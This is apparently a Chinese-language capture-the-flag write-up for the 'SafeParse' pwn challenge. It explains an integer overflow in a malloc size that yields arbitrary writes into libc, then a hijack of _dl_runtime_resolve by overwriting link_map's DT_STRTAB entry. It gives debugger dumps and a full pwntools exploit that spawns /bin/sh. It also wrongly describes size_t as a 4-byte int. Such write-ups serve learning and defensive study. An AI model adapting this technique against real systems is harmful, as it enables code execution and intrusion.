SafeParse
1 2 3 4 5 6 7
| SafeParse: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb35942986f3f07abe813fd1a86be5920f5b6c7e, for GNU/Linux 3.2.0, stripped [*] '/home/yhellow/桌面/pwn_SafeParse/SafeParse' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
漏洞分析
1 2
| data_size = input_num(); chunk = (int *)malloc(4 * data_size);
|
- 这里有一个整数溢出(这个漏洞点和初赛 newest_note 的非预期解很像)
直接让 data_size 为 0x40040000,就可以让这个存堆指针的堆申请到 libc 上面
1
| void *malloc(size_t size);
|
- 注意:这里的 size_t 代表的是 unsorted int(4字节)
溢出过后,“data_size” 会特别大,但是 mmap 申请的 chunk 又比较小,以下的这个检查就形同虚设了:
1
| if ( index >= data_size )
|
入侵思路
然后就可以实现 libc 任意写,由于没法 leak,我们只能打 _dl_runtime_resolve
DT_STRTAB
在 elf 中,由于没有泄露任何地址,目前是通过偏移进行任意地址写,这里找到 DT_DEBUG
这个表是指向 libc 地址(我们可以控制),可以通过改写最低位:
- 把
link_map->l_info[DT_STRTAB]
低位覆盖为 link_map->l_info[DT_DEBUG]
这样程序就会误以为 DT_DEBUG
是 DT_STRTAB
(这下放入 _dl_lookup_symbol_x
的第二个参数就会变成 DT_DEBUG
)
- 于是我们提前在
DT_DEBUG+offset
(原来是 DT_STRTAB+offset
)的位置写上 system
- 提前在
chunk
中写入 /bin/sh
- 最后在执行
free(chunk)
时就会 get shell
低位覆盖 link_map->l_info[DT_STRTAB]
,欺骗 _dl_fixup
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| pwndbg> telescope 0x7f3b00ba2000+0x324180+0x10 00:0000│ rsi r10 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— 0x10102464c457f 01:0008│ 0x7f3b00ec6198 ◂— 0x6165720000ec6730 02:0010│ 0x7f3b00ec61a0 ◂— 0x564f9b540064 03:0018│ 0x7f3b00ec61a8 —▸ 0x7f3b00ec6740 —▸ 0x7ffe633fe000 ◂— jg 0x7ffe633fe047 04:0020│ 0x7f3b00ec61b0 ◂— 0x0 05:0028│ 0x7f3b00ec61b8 —▸ 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— 0x10102464c457f 06:0030│ 0x7f3b00ec61c0 ◂— 0x0 07:0038│ 0x7f3b00ec61c8 —▸ 0x7f3b00ec6718 —▸ 0x7f3b00ec6730 ◂— 0x0 pwndbg> 08:0040│ 0x7f3b00ec61d0 ◂— 0x0 09:0048│ 0x7f3b00ec61d8 —▸ 0x564f9b545de0 ◂— 0x1 0a:0050│ 0x7f3b00ec61e0 —▸ 0x564f9b545ec0 ◂— 0x2 0b:0058│ 0x7f3b00ec61e8 —▸ 0x564f9b545eb0 ◂— 0x3 0c:0060│ rdi-1 0x7f3b00ec61f0 ◂— 0x6d657473797300 0d:0068│ 0x7f3b00ec61f8 —▸ 0x564f9b545ea0 ◂— 0x15 0e:0070│ 0x7f3b00ec6200 —▸ 0x564f9b545e70 ◂— 0x6 0f:0078│ 0x7f3b00ec6208 —▸ 0x564f9b545ef0 ◂— 0x7
|
_dl_fixup->_dl_lookup_symbol_x
执行前:
1 2 3 4 5 6 7 8 9
| ► 0x7f3b00ea8192 <_dl_fixup+210> call _dl_lookup_symbol_x <_dl_lookup_symbol_x> rdi: 0x7f3b00ec61f1 ◂— 0xa0006d6574737973 rsi: 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— 0x10102464c457f rdx: 0x7ffe633dbfa8 —▸ 0x564f9b547018 ◂— 0x1200000091 rcx: 0x7f3b00ec64f8 —▸ 0x7f3b00ec6450 —▸ 0x7f3b00e95590 —▸ 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— ... r8: 0x7f3b00e955e0 —▸ 0x564f9b5480a0 ◂— 'GLIBC_2.2.5' r9: 0x1 arg[6]: 0x1 arg[7]: 0x0
|
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import *
p=process("./SafeParse1") elf = ELF("./SafeParse1") libc = ELF("./libc-2.31.so")
cmd = "b *$rebase(0x1620)\n"
p.sendlineafter("Size: ",str(0x4000)) p.sendlineafter("Data Size: ",str(0x40040000))
_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_'] _IO_2_1_stdout_offset = _IO_2_1_stdout_+0x101000-0x10
link_map_offset = 0x324190-0x10 r_debug_offset = 0x324160-0x10
success("_IO_2_1_stdout_ >> "+hex(_IO_2_1_stdout_)) success("_IO_2_1_stdout_offset >> "+hex(_IO_2_1_stdout_offset)) success("link_map_offset >> "+hex(link_map_offset)) success("link_map_offset+0x40+5*0x8 >> "+hex(link_map_offset+0x40+5*0x8)) success("r_debug_offset >> "+hex(r_debug_offset)) success("free_hook >> "+hex(libc.sym["__free_hook"]))
payload = ",>"*2+"<"*2
payload +=">*>***>***>******>**>**>**" payload +=">"*36+",>"*2+"<"*38 payload +=">"*15+",>"*2+"<"*17
payload +=">"*38+","+"."
p.sendlineafter("Code: ",payload)
p.sendafter("Secret Number: ","/bin") p.sendafter("Secret Number: ","/sh\x00")
p.sendafter("Secret Number: ","\x00sys") p.sendafter("Secret Number: ","tem\x00")
p.sendafter("Secret Number: ","\x00rea") p.sendafter("Secret Number: ","d\x00")
p.sendafter("Secret Number: ","\xa0") p.sendafter("Guess the Number: ",str(1))
p.interactive()
|
小结:
这个题我看着就像强网杯的 qwarmup,都是任意写 libc,然后打 _dl_runtime_resolve
当时猪脑过载了,就想用 qwarmup 的方法来套这个题,调了半天才发现这个题没有开沙盒,可以直接 get shell(唉)